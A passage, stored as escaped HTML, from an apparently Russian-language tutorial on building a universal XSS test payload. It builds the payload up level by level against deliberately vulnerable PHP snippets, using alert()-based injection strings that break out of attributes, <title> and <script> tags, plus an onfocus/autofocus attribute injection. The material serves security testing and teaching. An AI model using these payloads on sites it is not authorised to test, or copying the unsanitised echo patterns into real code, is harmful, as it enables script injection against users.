\u0447\u0442\u043e XSS \u043d\u0435\u0442. <\/p>\n<p>  <\/p>\n<p>\u041d\u043e \u0437\u0434\u0435\u0441\u044c \u043f\u0440\u0435\u0434\u043f\u043e\u043b\u043e\u0436\u0438\u043c, \u0447\u0442\u043e \u043e\u043d\u0430 \u0435\u0441\u0442\u044c, \u0438 \u0443 \u043d\u0430\u0441 \u0437\u0430\u043f\u0438\u0441\u0430\u043b\u0441\u044f \u0430\u0442\u0440\u0438\u0431\u0443\u0442 test. \u0418 \u0435\u0441\u043b\u0438 \u043c\u044b \u0432\u043c\u0435\u0441\u0442\u043e \u044d\u0442\u043e\u0433\u043e \u0430\u0442\u0440\u0438\u0431\u0443\u0442\u0430 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a \u0441\u043e\u0431\u044b\u0442\u0438\u0439, \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440:<\/p>\n<p>  <\/p>\n<p>Input: qweqwe <strong>&#8216; &#187; onfocus=&#8217;alert()&#8217; autofocus<\/strong><\/p>\n<p>  <\/p>\n<p>\u041f\u043e\u043b\u0443\u0447\u0430\u0435\u043c reflected XSS:<\/p>\n<p>  <\/p>\n<p><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/webt\/vq\/ja\/hu\/vqjahu2p0qfdwjno6lzkkhp2zjq.png\" data-src=\"https:\/\/habrastorage.org\/webt\/vq\/ja\/hu\/vqjahu2p0qfdwjno6lzkkhp2zjq.png\"\/><\/p>\n<p>  <\/p>\n<p>\u042d\u0442\u043e \u0441\u043b\u043e\u0436\u043d\u043e, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u044f \u043f\u0440\u0435\u0434\u043b\u043e\u0436\u0443 \u0440\u0435\u0448\u0435\u043d\u0438\u0435 \u0432 \u0432\u0438\u0434\u0435 <strong>\u0443\u043d\u0438\u0432\u0435\u0440\u0441\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u043f\u0435\u0439\u043b\u043e\u0430\u0434\u0430<\/strong> \u2014 \u044d\u0442\u043e \u0441\u0442\u0440\u043e\u043a\u0430, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0434\u043e\u043b\u0436\u043d\u0430 \u0432\u044b\u044f\u0432\u043b\u044f\u0442\u044c XSS \u0432 \u0440\u0430\u0437\u043d\u044b\u0445 \u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442\u0430\u0445 \u0438 \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043d\u0435 \u0442\u0440\u0435\u0431\u0443\u0435\u0442 \u0434\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u0433\u043e \u0440\u0430\u0441\u043a\u0440\u0443\u0447\u0438\u0432\u0430\u043d\u0438\u044f \u0432 \u0442\u0430\u043a\u0438\u0445 \u043c\u0435\u0441\u0442\u0430\u0445.<\/p>\n<p>  <\/p>\n<h3>XSS \u2013 Level 0<\/h3>\n<p>  <\/p>\n<p>\u041d\u0430\u0447\u043d\u0435\u043c \u0441 \u0441\u0430\u043c\u043e\u0439 \u043f\u0440\u043e\u0441\u0442\u043e\u0439 \u0441\u0442\u0440\u043e\u043a\u0438, \u043d\u0430 \u043a\u043e\u0442\u043e\u0440\u0443\u044e \u043d\u0430\u0442\u044b\u043a\u0430\u043b\u0438\u0441\u044c \u0432\u0441\u0435, \u043a\u0442\u043e \u043a\u043e\u0433\u0434\u0430-\u0442\u043e \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043e\u0432\u0430\u043b\u0441\u044f \u0442\u0435\u0441\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435\u043c \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438:<\/p>\n<p>  <\/p>\n<p><code>&lt;script>alert()&lt;\/script><\/code><\/p>\n<p>  <\/p>\n<p>\u041f\u043e\u0441\u043c\u043e\u0442\u0440\u0438\u043c \u043d\u0430 \u043f\u0440\u0438\u043c\u0435\u0440\u0435 \u044f\u0437\u044b\u043a\u0430 PHP, \u043a\u043e\u0433\u0434\u0430 \u044f \u043a\u0430\u043a \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a \u0445\u043e\u0447\u0443 \u0432\u044b\u0432\u043e\u0434\u0438\u0442\u044c \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044e HTML-\u043a\u043e\u0434 \u0438 \u043f\u043e\u0434\u0442\u044f\u0433\u0438\u0432\u0430\u044e \u0442\u0443\u0434\u0430 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u0430, \u0432 \u043d\u0430\u0448\u0435\u043c \u0441\u043b\u0443\u0447\u0430\u0435 \u2014 name:<\/p>\n<p>  <\/p>\n<pre><code class=\"php\">&lt;p> \u041f\u0440\u0438\u0432\u0435\u0442, &lt;?php echo($_GET[\"name\"]); ?>! &lt;\/p><\/code><\/pre>\n<p>  <\/p>\n<p>\u0424\u0443\u043d\u043a\u0446\u0438\u044f echo() \u0432 PHP \u043d\u0435 \u0434\u0435\u043b\u0430\u0435\u0442 \u0441\u0430\u043d\u0438\u0442\u0438\u0437\u0430\u0446\u0438\u044e, \u043e\u043d\u0430 \u0432\u044b\u0432\u043e\u0434\u0438\u0442 \u0432\u0441\u0451 \u043a\u0430\u043a \u0435\u0441\u0442\u044c. \u0422\u043e \u0435\u0441\u0442\u044c \u044d\u0442\u043e \u0442\u0438\u043f\u0438\u0447\u043d\u0430\u044f reflected XSS-\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c. \u0418 \u0435\u0441\u043b\u0438 \u043c\u044b \u043f\u043e\u043c\u0435\u0441\u0442\u0438\u043c \u0432 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440 name \u043d\u0430 \u044d\u0442\u043e\u0439 \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u0435 \u043d\u0430\u0448 \u0442\u0435\u043a\u0443\u0449\u0438\u0439 \u043f\u0435\u0439\u043b\u043e\u0430\u0434, \u043e\u043d \u0441\u0440\u0435\u043d\u0434\u0435\u0440\u0438\u0442\u0441\u044f \u0431\u0440\u0430\u0443\u0437\u0435\u0440\u043e\u043c, \u043f\u043e\u0442\u043e\u043c\u0443 \u0447\u0442\u043e \u043d\u0438\u043a\u0430\u043a\u043e\u0439 \u0441\u0430\u043d\u0438\u0442\u0438\u0437\u0430\u0446\u0438\u0438 \u043d\u0435\u0442. \u041e\u043d \u0432\u0441\u0442\u0440\u0430\u0438\u0432\u0430\u0435\u0442\u0441\u044f \u043a\u0430\u043a \u0435\u0441\u0442\u044c, \u0431\u0440\u0430\u0443\u0437\u0435\u0440 \u043d\u0435 \u043e\u0442\u043b\u0438\u0447\u0430\u0435\u0442 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u0443\u044e \u0441\u0442\u0440\u043e\u043a\u0443 \u043e\u0442 \u043e\u0440\u0438\u0433\u0438\u043d\u0430\u043b\u044c\u043d\u043e\u0439 \u0438 \u0440\u0435\u043d\u0434\u0435\u0440\u0438\u0442.<\/p>\n<p>  <\/p>\n<p><code>\/page.php?name=&lt;script>alert()&lt;\/script><\/code><\/p>\n<p>  <\/p>\n<pre><code class=\"php\">&lt;p> \u041f\u0440\u0438\u0432\u0435\u0442, &lt;script>alert()&lt;\/script>! &lt;\/p> <\/code><\/pre>\n<p>  <\/p>\n<p>\u0422\u043e \u0436\u0435 \u0441\u0430\u043c\u043e\u0435, \u0435\u0441\u043b\u0438 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a \u043d\u0435 \u0431\u0435\u0440\u0435\u0442 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440 \u0438\u0437 URL, \u0430 \u0431\u0435\u0440\u0435\u0442 \u0438\u0437 \u0431\u0430\u0437\u044b \u0434\u0430\u043d\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0435, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043a\u043e\u0433\u0434\u0430-\u0442\u043e \u0432\u0432\u043e\u0434\u0438\u043b \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c: <\/p>\n<p>  <\/p>\n<pre><code class=\"php\">&lt;p> \u041f\u0440\u0438\u0432\u0435\u0442, &lt;?php $sql=\u2026; echo($sql); ?>! &lt;\/p>  &lt;p> \u041f\u0440\u0438\u0432\u0435\u0442, \u0412\u0430\u0441\u044f&lt;script>alert()&lt;\/script>! &lt;\/p><\/code><\/pre>\n<p>  <\/p>\n<p>\u0412\u043e\u0442 \u043f\u0440\u0438\u043c\u0435\u0440 \u043f\u043e\u0441\u043b\u043e\u0436\u043d\u0435\u0435: <\/p>\n<p>  <\/p>\n<pre><code class=\"php\">&lt;form action=\"page.php\" method=\"POST\"> &lt;input name=\"name\" value=\"&lt;?php echo($_GET[\"name\"]); ?>\"> &lt;\/form><\/code><\/pre>\n<p>  <\/p>\n<p>\u0427\u0442\u043e, \u0435\u0441\u043b\u0438 \u043c\u043d\u0435 \u043d\u0430\u0434\u043e \u0431\u0440\u0430\u0442\u044c \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u0430 \u0438 \u043e\u0442\u043e\u0431\u0440\u0430\u0436\u0430\u0442\u044c \u0435\u0433\u043e \u0432\u043d\u0443\u0442\u0440\u0438 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f \u0430\u0442\u0440\u0438\u0431\u0443\u0442\u0430? \u041a\u0430\u043a \u043c\u0435\u043d\u044f \u043c\u043e\u0433\u0443\u0442 \u0445\u0430\u043a\u043d\u0443\u0442\u044c \u0432 \u044d\u0442\u043e\u043c \u0441\u043b\u0443\u0447\u0430\u0435? <\/p>\n<p>  <\/p>\n<pre><code class=\"php\">&lt;form action=\"page.php\" method=\"POST\"> &lt;input name=\"name\" value=\"&lt;script>alert()&lt;\/script>\"> &lt;\/form><\/code><\/pre>\n<p>  <\/p>\n<p>\u0415\u0441\u043b\u0438 \u043c\u044b \u043f\u043e\u043c\u0435\u0441\u0442\u0438\u043c \u0442\u0443\u0434\u0430 \u043d\u0430\u0448 <code>&lt;script>alert()&lt;\/script><\/code>, \u0440\u0430\u0437\u0443\u043c\u0435\u0435\u0442\u0441\u044f, \u044d\u0442\u043e \u043d\u0435 \u0441\u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442. \u0414\u0430\u0436\u0435 \u0435\u0441\u043b\u0438 \u043d\u0435\u0442 \u0441\u0430\u043d\u0438\u0442\u0438\u0437\u0430\u0446\u0438\u0438 \u0438 \u0432\u0441\u0442\u0430\u0432\u043a\u0430 \u043d\u0435\u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u0430, \u0442\u043e <code>&lt;script>alert()&lt;\/script><\/code> \u043f\u0440\u043e\u0441\u0442\u043e \u043d\u0435 \u0432\u044b\u044f\u0432\u0438\u0442 \u044d\u0442\u0443 XSS-\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u043f\u043e\u0442\u043e\u043c\u0443 \u0447\u0442\u043e \u043d\u0443\u0436\u043d\u043e \u0437\u0430\u043a\u0440\u044b\u0442\u044c \u0430\u0442\u0440\u0438\u0431\u0443\u0442. <\/p>\n<p>  <\/p>\n<p>\u041c\u044b \u0437\u0430\u043a\u0440\u043e\u0435\u043c \u043d\u0435 \u0442\u043e\u043b\u044c\u043a\u043e \u0430\u0442\u0440\u0438\u0431\u0443\u0442, \u043d\u043e \u0435\u0449\u0435 \u0438 \u0442\u0435\u0433 <code>&lt;input><\/code>, \u043a\u0443\u0434\u0430 \u043c\u044b \u043f\u043e\u043f\u0430\u043b\u0438, \u0438 \u0432\u0441\u0442\u0440\u043e\u0438\u043c \u0441\u0432\u043e\u0439 <code>&lt;script>alert()&lt;\/script><\/code>, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043e\u0442\u0440\u0435\u043d\u0434\u0435\u0440\u0438\u0442\u0441\u044f \u0431\u0440\u0430\u0443\u0437\u0435\u0440\u043e\u043c:<\/p>\n<p>  <\/p>\n<p><code>\/page.php?name=\">&lt;script>alert()&lt;\/script><\/code><\/p>\n<p>  <\/p>\n<pre><code class=\"php\">&lt;form action=\"page.php\" method=\"POST\"> &lt;input name=\"name\" value=\"\">&lt;script>alert()&lt;\/script>\"> &lt;\/form><\/code><\/pre>\n<p>  <\/p>\n<p>\u0418 \u0440\u0430\u0437 \u043c\u044b \u0437\u043d\u0430\u0435\u043c, \u0447\u0442\u043e \u0435\u0441\u0442\u044c \u043a\u0435\u0439\u0441\u044b, \u043a\u043e\u0433\u0434\u0430 \u043c\u044b \u043c\u043e\u0436\u0435\u043c \u043f\u043e\u043f\u0430\u0441\u0442\u044c \u0432\u043d\u0443\u0442\u0440\u044c \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f \u0430\u0442\u0440\u0438\u0431\u0443\u0442\u0430, \u043f\u043e\u0447\u0435\u043c\u0443 \u0431\u044b \u043d\u0430\u043c \u0441\u0440\u0430\u0437\u0443 \u043d\u0435 \u0434\u043e\u0431\u0430\u0432\u0438\u0442\u044c <code>\"><\/code> \u0432 \u043f\u0435\u0439\u043b\u043e\u0430\u0434?<\/p>\n<p>  <\/p>\n<h3>XSS \u2014 Level 1<\/h3>\n<p>  <\/p>\n<p>\u0410 \u0435\u0441\u043b\u0438 \u043c\u043d\u0435 \u043d\u0430\u0434\u043e \u043f\u043e\u0434\u0441\u0442\u0430\u0432\u0438\u0442\u044c \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u043e\u0435 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 \u0432\u043d\u0443\u0442\u0440\u044c <code>&lt;title><\/code>? \u041f\u043e\u0434\u0441\u0442\u0430\u0432\u0438\u043c \u0442\u0443\u0434\u0430 \u043d\u0430\u0448 \u0442\u0435\u043a\u0443\u0449\u0438\u0439 \u043f\u0435\u0439\u043b\u043e\u0430\u0434: <\/p>\n<p>  <\/p>\n<pre><code class=\"xml\">&lt;html> &lt;head>       &lt;title>\u041f\u0440\u0438\u0432\u0435\u0442,\">&lt;script>alert()&lt;\/script>&lt;\/title> &lt;\/head> &lt;body> &lt;\/body> &lt;\/html><\/code><\/pre>\n<p>  <\/p>\n<p>\u042d\u0442\u043e \u043d\u0435 \u0441\u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442, \u043f\u043e\u0442\u043e\u043c\u0443 \u0447\u0442\u043e \u0442\u0435\u0433 <code>&lt;title><\/code> \u043d\u0443\u0436\u0435\u043d \u0431\u0440\u0430\u0443\u0437\u0435\u0440\u0443, \u0447\u0442\u043e\u0431\u044b \u043e\u0442\u043e\u0431\u0440\u0430\u0436\u0430\u0442\u044c \u0438\u043c\u044f \u0442\u0435\u043a\u0443\u0449\u0435\u0439 \u0432\u043a\u043b\u0430\u0434\u043a\u0438. \u0411\u0440\u0430\u0443\u0437\u0435\u0440 \u0434\u0443\u043c\u0430\u0435\u0442, \u0447\u0442\u043e \u0440\u0430\u0437 \u044d\u0442\u043e \u0432\u0441\u0435\u0433\u043e \u043b\u0438\u0448\u044c \u043d\u0430\u0437\u0432\u0430\u043d\u0438\u0435 \u0432\u043a\u043b\u0430\u0434\u043a\u0438, \u0435\u043c\u0443 \u043d\u0435\u0437\u0430\u0447\u0435\u043c \u0440\u0435\u043d\u0434\u0435\u0440\u0438\u0442\u044c \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 \u044d\u0442\u043e\u0433\u043e \u0442\u0435\u0433\u0430, \u0438 \u043e\u043d \u043f\u0440\u043e\u0441\u0442\u043e \u0431\u0443\u0434\u0435\u0442 \u0440\u0435\u043d\u0434\u0435\u0440\u0438\u0442\u044c \u0432\u0441\u0451 \u043a\u0430\u043a \u0442\u0435\u043a\u0441\u0442. <\/p>\n<p>  <\/p>\n<p>\u0417\u0434\u0435\u0441\u044c \u043d\u0443\u0436\u043d\u043e \u0434\u043e\u0431\u0430\u0432\u0438\u0442\u044c <code>&lt;\/title><\/code> \u043f\u0435\u0440\u0435\u0434 \u043d\u0430\u0448\u0438\u043c \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u043c <code>&lt;script>alert()&lt;\/script><\/code>. <\/p>\n<p>  <\/p>\n<p><code>\/page.php?name=\">&lt;\/title>&lt;script>alert()&lt;\/script><\/code><\/p>\n<p>  <\/p>\n<pre><code class=\"xml\">&lt;html>        &lt;head>               &lt;title>\u041f\u0440\u0438\u0432\u0435\u0442,\">&lt;\/title>&lt;script>alert()&lt;\/script>               &lt;\/title>         &lt;\/head>         &lt;body>         &lt;\/body> &lt;\/html><\/code><\/pre>\n<p>  <\/p>\n<p>\u0422\u0430\u043a\u0438\u043c \u043e\u0431\u0440\u0430\u0437\u043e\u043c \u043c\u044b \u0437\u0430\u043a\u0440\u043e\u0435\u043c \u043e\u0440\u0438\u0433\u0438\u043d\u0430\u043b\u044c\u043d\u044b\u0439 <code>&lt;title><\/code>. <\/p>\n<p>  <\/p>\n<p>\u0420\u0430\u0437 \u043c\u044b \u0437\u043d\u0430\u0435\u043c, \u0447\u0442\u043e \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u0434\u0442\u044f\u043d\u0443\u0442\u044c \u043d\u0430\u0448\u0438 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f \u0435\u0449\u0435 \u0438 \u0432\u043d\u0443\u0442\u0440\u044c \u0442\u0435\u0433\u0430 <code>&lt;title><\/code>, \u043f\u043e\u0447\u0435\u043c\u0443 \u0431\u044b \u0441\u0440\u0430\u0437\u0443 \u043d\u0435 \u0434\u043e\u0431\u0430\u0432\u0438\u0442\u044c \u0435\u0433\u043e \u0432 \u043f\u0435\u0439\u043b\u043e\u0430\u0434 \u0438 \u043d\u0435 \u0432\u0441\u0442\u0430\u0432\u043b\u044f\u0442\u044c \u044d\u0442\u043e\u0442 \u043f\u0435\u0439\u043b\u043e\u0430\u0434 \u0432\u0435\u0437\u0434\u0435? \u0422\u0430\u043a \u043c\u044b \u043f\u043e\u043f\u0430\u0434\u0430\u0435\u043c \u0441\u0440\u0430\u0437\u0443 \u0432 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0441\u0438\u0442\u0443\u0430\u0446\u0438\u0439. <\/p>\n<p>  <\/p>\n<p>\u0412\u0440\u043e\u0434\u0435 \u0437\u0432\u0443\u0447\u0438\u0442 \u0437\u0434\u043e\u0440\u043e\u0432\u043e, \u043d\u043e \u0435\u0441\u043b\u0438 \u043c\u044b \u043f\u043e\u043f\u0430\u043b\u0438 \u0432\u043d\u0443\u0442\u0440\u044c \u0442\u0435\u0433\u0430 <code>&lt;script><\/code>:<\/p>\n<p>  <\/p>\n<pre><code class=\"php\">&lt;script> var name=\"&lt;?php echo($_GET[\"name\"]); ?>\"; &lt;\/script> <\/code><\/pre>\n<p>  <\/p>\n<p>\u0420\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a \u043d\u0430\u043f\u0438\u0441\u0430\u043b JavaScript, \u0432\u043d\u0435\u0434\u0440\u0438\u043b \u0435\u0433\u043e \u0443 \u0441\u0435\u0431\u044f \u043d\u0430 \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u0443, \u043d\u043e \u043a\u0430\u043a\u0443\u044e-\u0442\u043e \u043f\u0435\u0440\u0435\u043c\u0435\u043d\u043d\u0443\u044e \u0431\u0435\u0440\u0435\u0442 \u0438\u0437 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u043e\u0433\u043e \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f. \u041f\u043e\u043c\u0435\u0441\u0442\u0438\u043c \u0442\u0443\u0434\u0430 \u043d\u0430\u0448 \u0442\u0435\u043a\u0443\u0449\u0438\u0439 \u043f\u0435\u0439\u043b\u043e\u0430\u0434: <\/p>\n<p>  <\/p>\n<p><code>\/page.php?name=\">&lt;\/title>&lt;script>alert()&lt;\/script><\/code><\/p>\n<p>  <\/p>\n<pre><code class=\"php\">&lt;script> var name=\"\">&lt;\/title>&lt;script>alert()&lt;\/script>\"; &lt;\/script> <\/code><\/pre>\n<p>  <\/p>\n<p>\u0412\u0441\u0451 \u043d\u0435 \u043e\u0442\u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u0434\u043e \u043c\u043e\u043c\u0435\u043d\u0442\u0430, \u043a\u043e\u0433\u0434\u0430 \u043c\u044b \u0437\u0430\u043a\u0440\u044b\u043b\u0438 <code>&lt;\/script><\/code>.<\/p>\n<p>  <\/p>\n<p>\u0417\u0434\u0435\u0441\u044c \u0432\u0441\u0435 \u0442\u043e\u0436\u0435 \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u0442\u0440\u0438\u0432\u0438\u0430\u043b\u044c\u043d\u043e, \u043f\u0440\u043e\u0441\u0442\u043e \u0437\u0430\u043a\u0440\u044b\u0432\u0430\u0435\u043c \u0442\u0435\u0433 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0430 <code>&lt;script><\/code>: <\/p>\n<p>  <\/p>\n<p><code>\/page.php?name=\">&lt;\/script>&lt;\/title>&lt;script>alert()&lt;\/script><\/code><\/p>\n<p>  <\/p>\n<pre><code class=\"php\">&lt;script> var name=\"\">&lt;\/script>&lt;\/title>&lt;script>alert()&lt;\/script>\"; &lt;\/script><\/code><\/pre>\n<p>  <\/p>\n<p>\u042f \u043d\u0435 \u0431\u0443\u0434\u0443 \u0434\u0430\u043b\u044c\u0448\u0435 \u043c\u0443\u0447\u0438\u0442\u044c \u0432\u0430\u0441 \u043a\u0430\u0436\u0434\u044b\u043c \u0442\u0430\u043a\u0438\u043c \u0442\u0435\u0433\u043e\u043c. <\/p>\n<p>  <\/p>\n<p>\u041d\u0430 \u0441\u0430\u043c\u043e\u043c \u0434\u0435\u043b\u0435, \u043d\u0430\u0434\u043e \u0437\u0430\u043a\u0440\u044b\u0432\u0430\u0442\u044c \u0435\u0449\u0435 \u0438 <code>&lt;\/style><\/code>, \u0438 <code>&lt;\/noscript>,<\/code> \u0438 <code>&lt;\/textarea><\/code>, \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u0440\u0435\u043d\u0434\u0435\u0440\u044f\u0442\u0441\u044f \u0431\u0440\u0430\u0443\u0437\u0435\u0440\u043e\u043c \u043a\u0430\u043a \u0441\u0442\u0440\u043e\u043a\u0430.<\/p>\n<p>  <\/p>\n<h3>XSS \u2014 Level 2<\/h3>\n<p>  <\/p>\n<p>\u041f\u043e\u043c\u043d\u0438\u0442\u0435, \u043c\u044b \u043f\u043e\u043f\u0430\u0434\u0430\u043b\u0438 \u0432\u043d\u0443\u0442\u0440\u044c \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f \u0430\u0442\u0440\u0438\u0431\u0443\u0442\u0430, \u0437\u0430\u043a\u0440\u044b\u0432\u0430\u043b\u0438 \u0435\u0433\u043e, \u043e\u0442\u043a\u0440\u044b\u0432\u0430\u043b\u0438 <code>&lt;script>alert()&lt;\/script><\/code>, \u0447\u0442\u043e\u0431\u044b \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u0444\u0443\u043d\u043a\u0446\u0438\u044e <code>alert ()<\/code>, \u0438 \u043c\u044b \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0438 \u0442\u0430\u043c \u0434\u0432\u043e\u0439\u043d\u0443\u044e \u043a\u0430\u0432\u044b\u0447\u043a\u0443:<\/p>\n<p>  <\/p>\n<pre><code class=\"php\">&lt;form action=\"page.php\" method=\"POST\"> &lt;input name=\"name\" value=\"&lt;?php echo($_GET[\"name\"]); ?>\"> &lt;\/form><\/code><\/pre>\n<p>  <\/p>\n<p>\u0410 \u043c\u043e\u0433 \u043b\u0438 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a \u043e\u0431\u043e\u0441\u043e\u0431\u043b\u044f\u0442\u044c \u0432\u0441\u0435 \u043e\u0434\u0438\u043d\u0430\u0440\u043d\u044b\u043c\u0438 \u043a\u0430\u0432\u044b\u0447\u043a\u0430\u043c\u0438? \u0411\u0440\u0430\u0443\u0437\u0435\u0440 \u044d\u0442\u043e \u043f\u0440\u0438\u043d\u0438\u043c\u0430\u0435\u0442, \u044d\u0442\u043e \u0432\u043f\u043e\u043b\u043d\u0435 \u043d\u043e\u0440\u043c\u0430\u043b\u044c\u043d\u043e\u0435 \u043f\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u0435. \u0418 \u0435\u0441\u043b\u0438 \u0431\u044b \u043c\u044b \u043f\u043e\u043c\u0435\u0441\u0442\u0438\u043b\u0438 \u0442\u0443\u0434\u0430 \u043d\u0430\u0448 \u0442\u0435\u043a\u0443\u0449\u0438\u0439 \u043f\u0435\u0439\u043b\u043e\u0430\u0434, \u0440\u0430\u0437\u0443\u043c\u0435\u0435\u0442\u0441\u044f, \u043e\u043d \u0431\u044b \u043d\u0435 \u0441\u0440\u0430\u0431\u043e\u0442\u0430\u043b: \u043e\u043d \u0431\u044b \u043d\u0435 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b \u044d\u0442\u0443 XSS-\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u043f\u043e\u0442\u043e\u043c\u0443 \u0447\u0442\u043e \u043c\u044b \u0437\u0430\u043a\u0440\u044b\u0432\u0430\u0435\u043c \u0434\u0432\u043e\u0439\u043d\u0443\u044e \u043a\u0430\u0432\u044b\u0447\u043a\u0443.<\/p>\n<p>  <\/p>\n<p><code>\/page.php?name=\">&lt;\/script>&lt;\/title>&lt;script>alert()&lt;\/script><\/code><\/p>\n<p>  <\/p>\n<pre><code class=\"php\">&lt;form action='page.php' method='POST'> &lt;input name='name' value='\">&lt;\/title>&lt;\/script>&lt;script>alert()&lt;\/script>'> &lt;\/form><\/code><\/pre>\n<p>  <\/p>\n<p>\u0417\u0434\u0435\u0441\u044c \u0442\u043e\u0436\u0435 \u0432\u0441\u0435 \u043f\u0440\u043e\u0441\u0442\u043e: \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u0434\u043e\u0431\u0430\u0432\u0438\u0442\u044c \u043e\u0434\u0438\u043d\u0430\u0440\u043d\u0443\u044e \u043a\u0430\u0432\u044b\u0447\u043a\u0443 \u043f\u0435\u0440\u0435\u0434 \u0434\u0432\u043e\u0439\u043d\u043e\u0439, \u0438 \u043c\u044b \u0437\u0430\u043a\u0440\u043e\u0435\u043c \u0438 \u044d\u0442\u043e\u0442 \u043a\u0435\u0439\u0441. <\/p>\n<p>  <\/p>\n<p><code>&lt;?php $a = str_replace('>', '&amp;gt;', $_GET[\"name\"]); ?><\/code><\/p>\n<p>  <\/p>\n<pre><code class=\"php\">&lt;form action='page.php' method='POST'> &lt;input name='name' value='&lt;?php echo($a) ?>'>! &lt;\/form><\/code><\/pre>\n<p>  <\/p>\n<p>\u0410 \u0432\u043e\u0442 \u0435\u0441\u043b\u0438 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a \u043f\u043e\u0434\u0443\u043c\u0430\u043b: \u00ab\u042f \u0434\u043e\u043f\u0443\u0441\u043a\u0430\u044e, \u0447\u0442\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043c\u043e\u0436\u0435\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u043a\u0430\u0432\u044b\u0447\u043a\u0438, \u043d\u043e \u0433\u043b\u0430\u0432\u043d\u043e\u0435, \u0447\u0442\u043e \u043e\u043d \u043d\u0435 \u0437\u0430\u043a\u0440\u044b\u0432\u0430\u0435\u0442 \u043c\u043e\u0439 <code>&lt;input><\/code> \u0438 \u043d\u0435 \u043e\u0442\u043a\u0440\u044b\u0432\u0430\u0435\u0442 \u0442\u0435\u0433\u0438 \u0432\u0440\u043e\u0434\u0435 <code>&lt;script>alert()&lt;\/script><\/code>. \u0422\u043e\u0433\u0434\u0430 \u044f \u0431\u0443\u0434\u0443 \u043f\u0440\u043e\u0441\u0442\u043e \u044d\u043d\u043a\u043e\u0434\u0438\u0442\u044c \u0437\u0430\u043a\u0440\u044b\u0432\u0430\u044e\u0449\u0443\u044e \u0443\u0433\u043b\u043e\u0432\u0443\u044e \u0441\u043a\u043e\u0431\u043a\u0443, \u0447\u0442\u043e\u0431\u044b \u043e\u043d \u043d\u0435 \u0441\u043c\u043e\u0433 \u0437\u0430\u043a\u0440\u044b\u0442\u044c \u043c\u043e\u0439 <code>&lt;input><\/code>\u00bb.<\/p>\n<p>  <\/p>\n<p>\u041d\u043e \u0435\u0441\u043b\u0438 \u043c\u044b \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u043f\u043e\u043f\u0440\u043e\u0431\u0443\u0435\u043c 